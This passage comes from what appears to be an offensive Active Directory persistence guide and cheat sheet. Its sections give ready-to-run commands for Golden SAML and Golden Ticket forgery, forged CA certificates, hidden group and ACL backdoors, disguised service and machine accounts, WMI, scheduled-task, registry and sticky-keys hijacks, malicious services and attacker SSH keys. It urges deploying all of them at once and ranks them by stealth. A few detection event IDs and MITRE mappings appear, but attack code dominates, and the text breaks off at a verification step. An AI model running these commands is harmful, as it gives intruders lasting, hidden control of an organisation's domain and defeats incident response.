[Tier-0] — Steal the ADFS token signing certificate → forge SAML tokens → authenticate as ANY user to ANY federated application (Microsoft 365, Azure AD, Salesforce, AWS) forever.
Execution
# ==========================================
# STEP 1: Extract ADFS token signing cert
# ==========================================
# From ADFS server (requires local admin on ADFS server)
# Method 1: PowerShell on ADFS server
Get-ADFSCertificate -CertificateType Token-Signing | Export-Certificate ...
# Method 2: ADFSDump
ADFSDump.exe
# Method 3: Direct DKM key extraction from AD
# ADFS stores the encrypted private key in AD (DKM container)
Get-ADObject -SearchBase "CN=ADFS,CN=Microsoft,CN=Program Data,DC=corp,DC=local" \
-Filter * -Properties thumbnailPhoto
# ==========================================
# STEP 2: Forge Golden SAML token
# ==========================================
# shimit (Golden SAML tool)
python3 shimit.py \
-idp https://adfs.corp.local/adfs/services/trust \
-pk adfs_signing.key \
-c adfs_signing.cer \
-u Administrator \
-role "http://schemas.microsoft.com/ws/2008/06/identity/claims/role=msiam_access" \
-f office365
# ==========================================
# STEP 3: Use forged SAML → access Microsoft 365 as any user
# ==========================================
# The forged token authenticates to Azure AD / O365 as Administrator
# → Full admin of the cloud tenant with NO AD access needed!
# → Survives KRBTGT resets, password changes, account locks!
17. Group Membership Backdoor
[Tier-2] — Add a backdoor account or low-priv user to high-privilege groups directly or via nested group membership (harder to detect).
Execution
# ==========================================
# Direct group membership (obvious but quick)
# ==========================================
# Add to Domain Admins
Add-ADGroupMember -Identity "Domain Admins" -Members jsmith
net group "Domain Admins" jsmith /add /domain
# Add to Enterprise Admins (forest-wide!)
Add-ADGroupMember -Identity "Enterprise Admins" -Members jsmith
# ==========================================
# Nested group (stealthier — DA auditors may miss)
# ==========================================
# Create innocent-looking group
New-ADGroup -Name "IT-Infrastructure-Team" -GroupScope Global
# Add jsmith to this group
Add-ADGroupMember -Identity "IT-Infrastructure-Team" -Members jsmith
# Add the group to Domain Admins (nested membership!)
Add-ADGroupMember -Identity "Domain Admins" -Members "IT-Infrastructure-Team"
# Now jsmith IS a DA via nested group → harder to spot in DA group audit!
# ==========================================
# Add to other high-value groups
# ==========================================
# Account Operators (create/modify most AD accounts)
Add-ADGroupMember -Identity "Account Operators" -Members jsmith
# Backup Operators (read ALL files including NTDS.dit!)
Add-ADGroupMember -Identity "Backup Operators" -Members jsmith
# DNSAdmins (DLL injection on DC!)
Add-ADGroupMember -Identity "DnsAdmins" -Members jsmith
# Schema Admins (modify AD schema!)
Add-ADGroupMember -Identity "Schema Admins" -Members jsmith
# Group Policy Creator Owners (create/edit GPOs!)
Add-ADGroupMember -Identity "Group Policy Creator Owners" -Members jsmith
18. ACL Backdoor
[Tier-1] [Stealth] — Add hidden ACEs to critical AD objects granting yourself persistent rights. Much stealthier than group membership — standard audits often miss ACL backdoors.
Execution
# ==========================================
# Grant DCSync rights (see Section 8 for full detail)
# ==========================================
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" \
-PrincipalIdentity jsmith -Rights DCSync
# ==========================================
# Grant GenericAll on Domain Admins group
# ==========================================
Add-DomainObjectAcl -TargetIdentity "Domain Admins" \
-PrincipalIdentity jsmith -Rights All
# → jsmith can add anyone to DA anytime!
# ==========================================
# Grant WriteDACL on domain object
# ==========================================
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" \
-PrincipalIdentity jsmith -Rights WriteDacl
# → jsmith can modify domain ACL → re-grant any right anytime!
# ==========================================
# Grant GenericAll on specific DA account
# ==========================================
Add-DomainObjectAcl -TargetIdentity Administrator \
-PrincipalIdentity jsmith -Rights All
# → jsmith can reset Administrator password, modify account
# ==========================================
# Grant ForceChangePassword on all users
# ==========================================
$users = Get-DomainUser | select -ExpandProperty distinguishedname
foreach ($user in $users) {
Add-DomainObjectAcl -TargetIdentity $user \
-PrincipalIdentity jsmith -Rights ResetPassword
}
# ==========================================
# Verify ACL backdoors
# ==========================================
Get-DomainObjectAcl -Identity "DC=corp,DC=local" -ResolveGUIDs | Where-Object {
$_.SecurityIdentifier -match (Get-DomainUser jsmith).objectsid
}
19. Backdoor Account Creation
[Tier-2] — Create hidden accounts that blend in with legitimate service accounts.
Execution
# ==========================================
# Create stealthy domain user
# ==========================================
# Create account that looks like a service account
New-ADUser \
-Name "svc-backup-agent" \
-SamAccountName "svc-backup-agent" \
-UserPrincipalName "svc-backup-agent@corp.local" \
-AccountPassword (ConvertTo-SecureString "Sup3rS3cr3t!" -AsPlainText -Force) \
-PasswordNeverExpires $true \
-Enabled $true \
-Description "Backup Service Agent - DO NOT DELETE"
# Add to Domain Admins
Add-ADGroupMember -Identity "Domain Admins" -Members "svc-backup-agent"
# ==========================================
# Hide the account
# ==========================================
# Move to a generic OU (not default Users container)
Move-ADObject \
-Identity "CN=svc-backup-agent,CN=Users,DC=corp,DC=local" \
-TargetPath "OU=Service Accounts,DC=corp,DC=local"
# Set account so it doesn't show in standard user lists
Set-ADUser svc-backup-agent -Replace @{adminCount=1} # Triggers AdminSDHolder protection!
# ==========================================
# Machine account backdoor (very stealthy!)
# ==========================================
# Machine accounts (ending in $) are often ignored by security teams!
impacket-addcomputer corp.local/admin:pass \
-computer-name "BACKUP-SRV01$" \
-computer-pass "P@ssw0rd123"
# Grant DA rights to machine account
Add-ADGroupMember -Identity "Domain Admins" -Members "BACKUP-SRV01$"
# Use machine account for DCSync!
impacket-secretsdump corp.local/'BACKUP-SRV01$':P@ssw0rd123@<DC_IP>
20. WMI Event Subscription
[Tier-2] — Create persistent WMI event subscriptions that execute payloads when specific events occur (user logon, time trigger, process creation). Survives reboots and is very hard to find without specific tooling.
Execution
# ==========================================
# WMI Event Subscription Components:
# 1. EventFilter → WHEN to trigger (condition)
# 2. EventConsumer → WHAT to do (action)
# 3. FilterToConsumer → Link filter to consumer
# ==========================================
# Trigger on user logon
$EventFilter = Set-WmiInstance -Namespace "root\subscription" \
-Class __EventFilter \
-Arguments @{
Name = "WindowsUpdateFilter"
EventNamespace = "root\cimv2"
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2"
QueryLanguage = "WQL"
}
# Execute payload when filter triggers
$EventConsumer = Set-WmiInstance -Namespace "root\subscription" \
-Class CommandLineEventConsumer \
-Arguments @{
Name = "WindowsUpdateConsumer"
CommandLineTemplate = "C:\ProgramData\svchost32.exe"
}
# Link filter to consumer
$FilterToConsumer = Set-WmiInstance -Namespace "root\subscription" \
-Class __FilterToConsumerBinding \
-Arguments @{
Filter = $EventFilter
Consumer = $EventConsumer
}
# ==========================================
# Time-based trigger (every day at 09:00)
# ==========================================
$EventFilter = Set-WmiInstance -Namespace "root\subscription" \
-Class __EventFilter \
-Arguments @{
Name = "DailyTrigger"
EventNamespace = "root\cimv2"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hours = 9 AND TargetInstance.Minutes = 0 GROUP WITHIN 60"
QueryLanguage = "WQL"
}
# ==========================================
# Verify subscriptions exist
# ==========================================
Get-WMIObject -Namespace "root\subscription" -Class __EventFilter
Get-WMIObject -Namespace "root\subscription" -Class CommandLineEventConsumer
Get-WMIObject -Namespace "root\subscription" -Class __FilterToConsumerBinding
# ==========================================
# Remove subscriptions (cleanup)
# ==========================================
Get-WMIObject -Namespace "root\subscription" -Class __EventFilter | Where-Object {$_.Name -eq "WindowsUpdateFilter"} | Remove-WmiObject
Detection
Event IDs:
5857 — WMI activity detected
5858 — WMI query error (failed sub)
5859 — WMI filter registered
5860 — WMI consumer registered
5861 — WMI binding registered (KEY ALERT!)
Monitor: root\subscription namespace for new EventFilter/Consumer/Binding
Tool: Get-WMIPersistence.ps1, Autoruns (Sysinternals)
21. Scheduled Task Persistence
[Tier-3] — Create scheduled tasks on compromised hosts for beacon persistence. Basic but effective.
Execution
# ==========================================
# Create scheduled task (SYSTEM on boot)
# ==========================================
schtasks /create \
/tn "Microsoft\Windows\WindowsUpdate\UpdateHelper" \
/tr "C:\ProgramData\MicrosoftUpdate\svchost.exe" \
/sc onstart \
/ru "SYSTEM" \
/f
# Run at user logon
schtasks /create \
/tn "Microsoft\Windows\Shell\ShellInit" \
/tr "C:\Users\Public\Documents\helper.exe" \
/sc onlogon \
/f
# Run every 4 hours (beacon keep-alive)
schtasks /create \
/tn "Microsoft\Windows\Diagnosis\Scheduled" \
/tr "C:\ProgramData\svc.exe" \
/sc hourly \
/mo 4 \
/f
# ==========================================
# Via PowerShell (stealthier — uses COM objects)
# ==========================================
$Action = New-ScheduledTaskAction -Execute "C:\ProgramData\svc.exe"
$Trigger = New-ScheduledTaskTrigger -AtStartup
$Settings = New-ScheduledTaskSettingsSet -Hidden # Hidden from Task Scheduler UI!
$Principal = New-ScheduledTaskPrincipal -UserID "NT AUTHORITY\SYSTEM" -RunLevel Highest
Register-ScheduledTask \
-TaskName "Microsoft\Windows\Maintenance\WinSAT" \
-Action $Action \
-Trigger $Trigger \
-Settings $Settings \
-Principal $Principal \
-Force
# ==========================================
# Remote scheduled task via C2
# ==========================================
# impacket-atexec
impacket-atexec corp.local/admin:pass@TARGET "C:\Temp\beacon.exe"
# Verify tasks
schtasks /query /fo LIST /v | findstr "Task Name\|Status\|Run As"
22. Registry Persistence
[Tier-3] — Registry-based persistence for individual host persistence. Common but easily detected.
Execution
# ==========================================
# Run keys (execute on every user login)
# ==========================================
# HKCU (current user)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" \
/v "WindowsDefender" \
/t REG_SZ \
/d "C:\Users\Public\svc.exe" /f
# HKLM (all users — requires admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" \
/v "MicrosoftSecurityUpdate" \
/t REG_SZ \
/d "C:\ProgramData\svc.exe" /f
# ==========================================
# RunOnce (execute once on next login)
# ==========================================
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" \
/v "Setup" \
/t REG_SZ \
/d "C:\Temp\beacon.exe" /f
# ==========================================
# Userinit (runs for ALL users on logon — very stealthy!)
# ==========================================
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" \
/v "Userinit" \
/t REG_SZ \
/d "C:\Windows\system32\userinit.exe,C:\ProgramData\svc.exe," /f
# Note the trailing comma — required!
# ==========================================
# Image File Execution Options (IFEO) — Debugger hijack
# ==========================================
# When sethc.exe (Sticky Keys) runs → execute cmd.exe instead!
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" \
/v "Debugger" \
/t REG_SZ \
/d "C:\Windows\System32\cmd.exe" /f
# → Press Shift 5 times at ANY login screen → SYSTEM cmd.exe!
# Other targets: utilman.exe, osk.exe, narrator.exe, magnify.exe
23. Service Persistence
[Tier-3] — Install malicious Windows service. Survives reboots, starts automatically with SYSTEM privileges.
Execution
# ==========================================
# Create malicious service
# ==========================================
sc create "WindowsTelemetryService" \
binpath= "C:\ProgramData\svc.exe" \
start= auto \
displayname= "Windows Telemetry" \
type= own
# Start it
sc start "WindowsTelemetryService"
# Set description (blend in)
sc description "WindowsTelemetryService" "Collects Windows telemetry data for Microsoft"
# ==========================================
# Modify existing service binary (hijack!)
# ==========================================
# Find services with weak ACLs (attackers can replace binary)
.\SharpUp.exe audit # Lists services with weak permissions
accesschk.exe -uwcqv "Authenticated Users" * # Find writable services
# Replace service binary
copy C:\Temp\beacon.exe "C:\Program Files\VulnerableService\service.exe"
sc stop VulnerableService
sc start VulnerableService # Runs your beacon as SYSTEM!
# ==========================================
# Remote service via impacket
# ==========================================
impacket-services corp.local/admin:pass@TARGET create \
-name "WinUpdate" \
-display "Windows Update Service" \
-path "C:\Temp\beacon.exe"
impacket-services corp.local/admin:pass@TARGET start -name "WinUpdate"
24. Complete Cheat Sheet
# ==========================================
# TIER 0 — MOST DURABLE (survive full recovery)
# ==========================================
# Golden Ticket (KRBTGT hash needed)
impacket-secretsdump corp.local/admin:pass@<DC_IP> -just-dc-user krbtgt
impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid S-1-5-21-... -domain corp.local -duration 7 Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass corp.local/Administrator@<DC_IP>
# Forged CA Certificate (DPERSIST1 — steal CA private key)
certipy ca -backup -ca 'corp-CA' -u admin@corp.local -p pass -dc-ip <DC_IP>
certipy forge -ca-pfx corp-CA.pfx -upn administrator@corp.local
certipy auth -pfx administrator_forged.pfx -dc-ip <DC_IP>
# Golden SAML (ADFS token signing cert)
ADFSDump.exe # Extract from ADFS server
python3 shimit.py -idp https://adfs.corp.local/... -pk key -c cert -u Administrator
# ==========================================
# TIER 1 — DURABLE (survive password reset)
# ==========================================
# Shadow Credentials (modify msDS-KeyCredentialLink)
Whisker.exe add /target:Administrator # Windows
python3 pywhisker.py -d corp.local -u user -p pass --target Administrator --action add
# ADCS Cert Request (valid 1 year after password reset)
certipy req -ca 'corp-CA' -template User -u admin@corp.local -p pass
certipy auth -pfx admin.pfx -dc-ip <DC_IP>
# DCSync ACL (give non-DA user DCSync rights)
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity jsmith -Rights DCSync
impacket-secretsdump corp.local/jsmith:pass@<DC_IP>
# AdminSDHolder (auto-regrants rights every 60 min)
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -PrincipalIdentity jsmith -Rights All
# SID History Injection (hidden DA rights in normal account)
sid::add /sam:jsmith /new:"Domain Admins"
Get-ADUser jsmith -Properties SIDHistory
# DSRM Backdoor (local admin on DC outside AD)
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f
impacket-secretsdump Administrator@<DC_IP> -hashes :<DSRM_HASH>
# RBCD (Resource-Based Constrained Delegation)
impacket-addcomputer corp.local/user:pass -computer-name "EVIL_PC$" -computer-pass "Pass123!"
# Set RBCD then S4U2Proxy to impersonate DA!
# ==========================================
# TIER 2 — RESILIENT (survive reboots)
# ==========================================
# GPO Scheduled Task (all linked machines)
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "WinUpdate" --Author "NT AUTHORITY\SYSTEM" --Command "C:\ProgramData\svc.exe" --GPOName "Default Domain Policy" --Force
# WMI Event Subscription (local host)
# See Section 20 for full PowerShell code
# DCShadow (push changes via fake DC replication)
# Terminal 1: lsadump::dcshadow /object:jsmith /attribute:sidhistory /value:S-1-5-21-...-512
# Terminal 2: lsadump::dcshadow /push
# ==========================================
# TIER 3 — BASIC HOST PERSISTENCE
# ==========================================
# Scheduled task (SYSTEM on startup)
schtasks /create /tn "MicrosoftUpdateHelper" /tr "C:\ProgramData\svc.exe" /sc onstart /ru SYSTEM /f
# Registry Run key
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MicrosoftUpdate" /t REG_SZ /d "C:\ProgramData\svc.exe" /f
# IFEO sticky keys backdoor (SYSTEM at login screen!)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /d "C:\Windows\System32\cmd.exe" /f
# Service
sc create "WinTelemetry" binpath= "C:\ProgramData\svc.exe" start= auto && sc start WinTelemetry
# ==========================================
# DETECTION EVENT ID REFERENCE
# ==========================================
# 4768 → Kerberos TGT request (Golden Ticket: look for RC4 on AES domain)
# 4769 → Kerberos TGS request (Silver/Golden usage)
# 4770 → Kerberos ticket renewed
# 4771 → Kerberos pre-auth failed (brute force / spray)
# 4794 → DSRM password set attempt
# 4928 → AD replica source added (DCShadow — fake DC registers!)
# 4929 → AD replica source removed (DCShadow cleanup)
# 5136 → AD object modified (ACL backdoor, SID History, Shadow Creds)
# 5137 → AD object created (new backdoor account)
# 5141 → AD object deleted
# 4765 → SID History added to account
# 4766 → SID History add failed
# 4886 → Certificate requested (ADCS cert persistence)
# 4887 → Certificate issued
# 4670 → Permissions on object changed (AdminSDHolder, ACL backdoor)
# 4662 → Object operation performed (DCSync rights modification)
# 5859 → WMI filter registered
# 5861 → WMI binding registered (WMI persistence!)
# 7045 → New service installed (service persistence)
# 4698 → Scheduled task created
# ==========================================
# MITRE ATT&CK MAPPING
# ==========================================
# T1558.001 → Golden / Silver / Diamond / Sapphire Ticket
# T1207 → DCShadow (Rogue Domain Controller)
# T1134.005 → SID History Injection
# T1098.001 → Account Manipulation: Additional Cloud Credentials (Shadow Creds)
# T1484.001 → Domain Policy Modification: GPO Abuse
# T1546.003 → WMI Event Subscription
# T1053.005 → Scheduled Task Persistence
# T1543.003 → Windows Service Persistence
# T1547.001 → Registry Run Key Persistence
# T1546.012 → IFEO Injection (Image File Execution Options)
# T1003.006 → DCSync (OS Credential Dumping)
# T1649 → Steal or Forge Authentication Certificates (ADCS)
# T1606.002 → Forge Web Credentials: SAML Tokens (Golden SAML)
# T1136.002 → Create Domain Account (backdoor account)
# T1098.007 → Account Manipulation: Additional Container Cluster Roles
# ==========================================
# RECOMMENDED PERSISTENCE STACK
# (Deploy ALL simultaneously in real engagements)
# ==========================================
# 1. [Tier-0] Steal KRBTGT hash → offline Golden Ticket
# 2. [Tier-0] Dump CA private key → DPERSIST1 forged certs
# 3. [Tier-1] Shadow Credentials on 2-3 DA accounts
# 4. [Tier-1] DCSync ACL on your backdoor account
# 5. [Tier-1] AdminSDHolder ACE (auto-heals every 60 min)
# 6. [Tier-1] DSRM backdoor on each DC
# 7. [Tier-2] GPO scheduled task on Default Domain Policy
# 8. [Tier-2] WMI event subscription on high-value hosts
# 9. [Tier-3] Scheduled task + Registry + Service on foothold hosts
Recovery Survival Matrix
| Defense Action | Golden Ticket | Forged CA Cert | Shadow Creds | DCSync ACL | AdminSDHolder | DSRM | GPO Task | WMI Sub |
|---|---|---|---|---|---|---|---|---|
| Password reset (user account) | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
| KRBTGT reset (×2) | ❌ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
| Backdoor account deleted | ❌ | ✅ | ❌ | ❌ | ❌ | ✅ | ✅ | ✅ |
| Domain Controller reboot | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
| Antivirus / malware scan | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⚠️ | ⚠️ |
| CA infrastructure rebuilt | ✅ | ❌ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
| Incident response / ACL audit | ✅ | ✅ | ⚠️ | ⚠️ | ⚠️ | ⚠️ | ⚠️ | ⚠️ |
| Full domain rebuild | ❌ | ❌ | ❌ | ❌ | ❌ | ❌ | ❌ | ❌ |
Legend: ✅ = Persistence survives this defensive action ❌ = Persistence is defeated by this defensive action ⚠️ = Depends on thoroughness of the defensive action
Tier Summary
| Persistence Method | Tier | Survives KRBTGT Reset | Survives CA Rebuild | Survives Acct Deletion | Stealthiness |
|---|---|---|---|---|---|
| Golden Ticket | 0 | ❌ | ✅ | ✅ | ★★★ |
| Forged CA Cert (DPERSIST1) | 0 | ✅ | ❌ | ✅ | ★★★★★ |
| Golden SAML (ADFS) | 0 | ✅ | ✅ | ✅ | ★★★★★ |
| Shadow Credentials | 1 | ✅ | ✅ | ❌ | ★★★★★ |
| ADCS Cert Request | 1 | ✅ | ❌ | ✅ | ★★★★ |
| AdminSDHolder ACE | 1 | ✅ | ✅ | ✅ | ★★★★ |
| DCSync ACL Backdoor | 1 | ✅ | ✅ | ❌ | ★★★★ |
| SID History Injection | 1 | ✅ | ✅ | ❌ | ★★★★★ |
| DSRM Backdoor | 1 | ✅ | ✅ | ✅ | ★★★★ |
| Diamond / Sapphire Ticket | 1 | ❌ | ✅ | ✅ | ★★★★★ |
| RBCD Delegation Abuse | 1 | ✅ | ✅ | ❌ | ★★★ |
| DCShadow | 2 | ✅ | ✅ | ✅ | ★★★★ |
| GPO Scheduled Task | 2 | ✅ | ✅ | ✅ | ★★★ |
| WMI Event Subscription | 2 | ✅ | ✅ | ✅ | ★★★★ |
| Group Membership Backdoor | 2 | ✅ | ✅ | ❌ | ★★ |
| ACL Backdoor | 2 | ✅ | ✅ | ❌ | ★★★★ |
| Scheduled Task (host) | 3 | ✅ | ✅ | ✅ | ★★ |
| Registry Run Key | 3 | ✅ | ✅ | ✅ | ★★ |
| IFEO / Sticky Keys | 3 | ✅ | ✅ | ✅ | ★★★ |
| Malicious Service | 3 | ✅ | ✅ | ✅ | ★ |
| ## 🗡️ AD Persistence — Master Cheat Sheet |
Quick Deploy (All Tiers — Fastest Commands)
# ══════════════════════════════════════════
# STEP 0: PREREQUISITES (run these first)
# ══════════════════════════════════════════
# Get KRBTGT hash (needed for Golden Ticket)
impacket-secretsdump corp.local/admin:pass@<DC_IP> -just-dc-user krbtgt
# Get Domain SID
impacket-getPac corp.local/admin:pass -targetUser Administrator
# OR: wmic computersystem get domain + whoami /user (trim last -XXXX)
# Get ALL domain hashes (for everything else)
impacket-secretsdump corp.local/admin:pass@<DC_IP> -just-dc
# Dump CA private key (DPERSIST1)
certipy ca -backup -ca 'corp-CA' -u admin@corp.local -p pass -dc-ip <DC_IP>
# ══════════════════════════════════════════
# TIER 0 — PERMANENT PERSISTENCE
# ══════════════════════════════════════════
# --- Golden Ticket ---
impacket-ticketer \
-nthash <KRBTGT_NTLM> \
-domain-sid S-1-5-21-XXX-XXX-XXX \
-domain corp.local \
-duration 7 \
-groups 512,518,519,520 \
Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass corp.local/Administrator@<DC_FQDN>
# Mimikatz Golden Ticket
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /aes256:<KRBTGT_AES256> /id:500 /groups:512 /ptt
# --- Forged CA Cert (DPERSIST1) ---
certipy forge -ca-pfx corp-CA.pfx -upn administrator@corp.local -not-after "2030-01-01 00:00:00"
certipy auth -pfx administrator_forged.pfx -dc-ip <DC_IP>
# --- Diamond Ticket (stealthier than Golden) ---
Rubeus.exe diamond /user:lowprivuser /password:pass /krbkey:<KRBTGT_AES256> /domain:corp.local /dc:<DC_IP> /ticketuser:Administrator /ptt
# --- Sapphire Ticket (stealthiest) ---
Rubeus.exe sapphire /user:lowprivuser /password:pass /krbkey:<KRBTGT_AES256> /domain:corp.local /dc:<DC_IP> /impersonateuser:Administrator /ptt
# --- Golden SAML (ADFS) ---
ADFSDump.exe # On ADFS server
python3 shimit.py -idp https://adfs.corp.local/adfs/services/trust -pk signing.key -c signing.cer -u Administrator -f office365
# ══════════════════════════════════════════
# TIER 1 — SURVIVES PASSWORD RESET
# ══════════════════════════════════════════
# --- Shadow Credentials (Windows) ---
Whisker.exe add /target:Administrator
Rubeus.exe asktgt /user:Administrator /certificate:<b64> /password:<pw> /ptt
# --- Shadow Credentials (Linux) ---
python3 pywhisker.py -d corp.local -u user -p pass --target Administrator --action add --filename admin_shadow
python3 gettgtpkinit.py corp.local/Administrator -cert-pfx admin_shadow.pfx -pfx-pass <pw> admin.ccache
export KRB5CCNAME=admin.ccache && impacket-secretsdump corp.local/Administrator@<DC_IP> -k -no-pass
# --- DCSync ACL (grant low-priv user DCSync forever) ---
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity jsmith -Rights DCSync -Verbose
impacket-secretsdump corp.local/jsmith:pass@<DC_IP> # As low-priv jsmith!
# --- AdminSDHolder (auto-heals every 60 min) ---
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -PrincipalIdentity jsmith -Rights All -Verbose
# Force SDProp now:
$rootDSE = [ADSI]"LDAP://RootDSE"; $rootDSE.Put("fixupInheritance",1); $rootDSE.SetInfo()
# 60 min later → jsmith has GenericAll on ALL DA accounts automatically!
# --- DSRM Backdoor (DC local admin outside AD) ---
# Set DSRM password on DC:
ntdsutil "set DSRM password" "reset password on server DC01" "P@ssw0rd!" quit quit
# Enable network DSRM auth:
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f
# Use DSRM hash anytime:
impacket-secretsdump Administrator@<DC_IP> -hashes :<DSRM_NTLM>
# --- SID History Injection (hidden DA — invisible in group list!) ---
# On DC via Mimikatz:
sid::patch
sid::add /sam:jsmith /new:"Domain Admins"
# Verify:
Get-ADUser jsmith -Properties SIDHistory | select SIDHistory
# Use normally — jsmith has DA access transparently!
# --- ADCS Certificate (1 year persistence) ---
# Windows:
Certify.exe request /ca:CA_SERVER\corp-CA /template:User
# Linux:
certipy req -ca 'corp-CA' -template User -u admin@corp.local -p pass -dc-ip <DC_IP>
certipy auth -pfx admin.pfx -dc-ip <DC_IP> # Works after password reset!
# --- RBCD Persistence ---
impacket-addcomputer corp.local/user:pass -computer-name "EVIL_PC$" -computer-pass "Evil@123"
# Set RBCD (PowerView):
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;EVIL_PC_SID)"
$SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes,0)
Get-ADComputer TARGET | Set-ADComputer -Replace @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# Use S4U2Proxy:
Rubeus.exe s4u /user:EVIL_PC$ /rc4:<HASH> /impersonateuser:Administrator /msdsspn:CIFS/TARGET.corp.local /ptt
# ══════════════════════════════════════════
# TIER 2 — SURVIVES REBOOTS
# ══════════════════════════════════════════
# --- GPO Scheduled Task (all linked machines) ---
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "WinTelemetry" --Author "NT AUTHORITY\SYSTEM" --Command "C:\ProgramData\svc.exe" --GPOName "Default Domain Policy" --Force
# --- GPO Local Admin (on all linked machines) ---
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount "CORP\jsmith" --GPOName "Default Domain Policy"
# --- WMI Event Subscription ---
$F = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name="WinUpdate";EventNamespace="root\cimv2";Query="SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession'";QueryLanguage="WQL"}
$C = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{Name="WinUpdateConsumer";CommandLineTemplate="C:\ProgramData\svc.exe"}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$F;Consumer=$C}
# --- DCShadow (push changes via fake DC replication) ---
# Terminal 1 (DA context):
lsadump::dcshadow /object:jsmith /attribute:sidhistory /value:S-1-5-21-...-512
# Terminal 2 (any context):
lsadump::dcshadow /push
# --- ACL Backdoor (hidden rights on domain object) ---
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity jsmith -Rights WriteDacl
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity jsmith -Rights All
Add-DomainObjectAcl -TargetIdentity Administrator -PrincipalIdentity jsmith -Rights All
# --- Backdoor Account (blends in as service account) ---
New-ADUser -Name "svc-backup-agent" -SamAccountName "svc-backup-agent" -AccountPassword (ConvertTo-SecureString "Sup3rS3cr3t!" -AsPlainText -Force) -PasswordNeverExpires $true -Enabled $true
Add-ADGroupMember -Identity "Domain Admins" -Members "svc-backup-agent"
# Machine account backdoor (often ignored!)
impacket-addcomputer corp.local/admin:pass -computer-name "BACKUP-SRV01$" -computer-pass "P@ss123!"
Add-ADGroupMember -Identity "Domain Admins" -Members "BACKUP-SRV01$"
# ══════════════════════════════════════════
# TIER 3 — HOST-LEVEL PERSISTENCE
# ══════════════════════════════════════════
# --- Scheduled Task (SYSTEM on boot) ---
schtasks /create /tn "Microsoft\Windows\WindowsUpdate\UpdateHelper" /tr "C:\ProgramData\svc.exe" /sc onstart /ru SYSTEM /f
# Hidden scheduled task (not visible in UI)
$A = New-ScheduledTaskAction -Execute "C:\ProgramData\svc.exe"
$T = New-ScheduledTaskTrigger -AtStartup
$S = New-ScheduledTaskSettingsSet -Hidden
$P = New-ScheduledTaskPrincipal -UserID "NT AUTHORITY\SYSTEM" -RunLevel Highest
Register-ScheduledTask -TaskName "Microsoft\Windows\Maintenance\WinSAT" -Action $A -Trigger $T -Settings $S -Principal $P -Force
# --- Registry Run Key ---
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MicrosoftSecurityUpdate" /t REG_SZ /d "C:\ProgramData\svc.exe" /f
# --- Userinit Hijack (all users on logon) ---
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\system32\userinit.exe,C:\ProgramData\svc.exe," /f
# --- IFEO Sticky Keys (SYSTEM shell at ANY login screen!) ---
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
# Press SHIFT x5 at login screen → SYSTEM cmd → no credentials needed!
# Other targets: utilman.exe, osk.exe, narrator.exe, magnify.exe
# --- Service ---
sc create "WindowsTelemetry" binpath= "C:\ProgramData\svc.exe" start= auto displayname= "Windows Telemetry" && sc start "WindowsTelemetry"
# --- SSH Authorized Keys (if OpenSSH installed) ---
echo "ssh-rsa AAAA...attacker_pubkey" >> C:\Users\Administrator\.ssh\authorized_keys
ssh Administrator@<target_IP> # Passwordless access!
# ══════════════════════════════════════════
# VERIFY ALL PERSISTENCE (Blue Team Check)
# ══════════════════════════════════════════
# Check DA group membership
Get-ADGroupMember "Domain Admins" | select name, distinguishedName
# Check SID History on all users
